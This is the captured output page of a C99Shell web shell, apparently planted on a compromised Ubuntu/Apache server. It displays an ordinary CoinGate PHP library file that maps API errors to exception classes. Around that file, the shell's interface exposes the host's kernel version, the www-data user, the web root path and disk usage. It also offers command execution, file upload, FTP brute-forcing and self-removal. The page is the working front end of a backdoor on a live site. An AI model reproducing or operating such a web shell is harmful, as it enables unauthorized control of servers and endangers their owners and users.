!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/coingate/coingate-php/lib/   drwxrwxr-x
Free 13.1 GB of 57.97 GB (22.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Exception.php (3.66 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace CoinGate;

use 
CoinGate\APIError\CredentialsMissing;
use 
CoinGate\APIError\BadEnvironment;
use 
CoinGate\APIError\BadRequest;
use 
CoinGate\APIError\BadCredentials;
use 
CoinGate\APIError\BadAuthToken;
use 
CoinGate\APIError\AccountBlocked;
use 
CoinGate\APIError\IpAddressIsNotAllowed;
use 
CoinGate\APIError\Unauthorized;
use 
CoinGate\APIError\PageNotFound;
use 
CoinGate\APIError\RecordNotFound;
use 
CoinGate\APIError\OrderNotFound;
use 
CoinGate\APIError\NotFound;
use 
CoinGate\APIError\OrderIsNotValid;
use 
CoinGate\APIError\UnprocessableEntity;
use 
CoinGate\APIError\RateLimitException;
use 
CoinGate\APIError\InternalServerError;
use 
CoinGate\APIError\APIError;

class 
Exception
{
    public static function 
formatError($error)
    {
        if (
is_array($error)) {
            
$reason '';
            
$message '';

            if (isset(
$error['reason'])) {
                
$reason $error['reason'];
            }

            if (isset(
$error['message'])) {
                
$message $error['message'];
            }

            return 
"{$reason} {$message}";
        } else {
            return 
$error;
        }
    }

    public static function 
throwException($http_status$error)
    {
        
$reason is_array($error) && isset($error['reason']) ? $error['reason'] : '';

        switch (
$http_status) {
            case 
400:
                switch (
$reason) {
                    case 
'CredentialsMissing':
                        throw new 
CredentialsMissing(self::formatError($error));
                    case 
'BadEnvironment':
                        throw new 
BadEnvironment(self::formatError($error));
                    default:
                        throw new 
BadRequest(self::formatError($error));
                }
            
//no break
            
case 401:
                switch (
$reason) {
                    case 
'BadCredentials':
                        throw new 
BadCredentials(self::formatError($error));
                    case 
'BadAuthToken':
                        throw new 
BadAuthToken(self::formatError($error));
                    case 
'AccountBlocked':
                        throw new 
AccountBlocked(self::formatError($error));
                    case 
'IpAddressIsNotAllowed':
                        throw new 
IpAddressIsNotAllowed(self::formatError($error));
                    default:
                        throw new 
Unauthorized(self::formatError($error));
                }
            
//no break
            
case 404:
                switch (
$reason) {
                    case 
'PageNotFound':
                        throw new 
PageNotFound(self::formatError($error));
                    case 
'RecordNotFound':
                        throw new 
RecordNotFound(self::formatError($error));
                    case 
'OrderNotFound':
                        throw new 
OrderNotFound(self::formatError($error));
                    default:
                        throw new 
NotFound(self::formatError($error));
                }
            
//no break
            
case 422:
                switch (
$reason) {
                    case 
'OrderIsNotValid':
                        throw new 
OrderIsNotValid(self::formatError($error));
                    default:
                        throw new 
UnprocessableEntity(self::formatError($error));
                }
            
//no break
            
case 429:
                throw new 
RateLimitException(self::formatError($error));
            case 
500:
                throw new 
InternalServerError(self::formatError($error));
            case 
504:
                throw new 
InternalServerError(self::formatError($error));
            default:
                throw new 
APIError(self::formatError($error));
        }
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--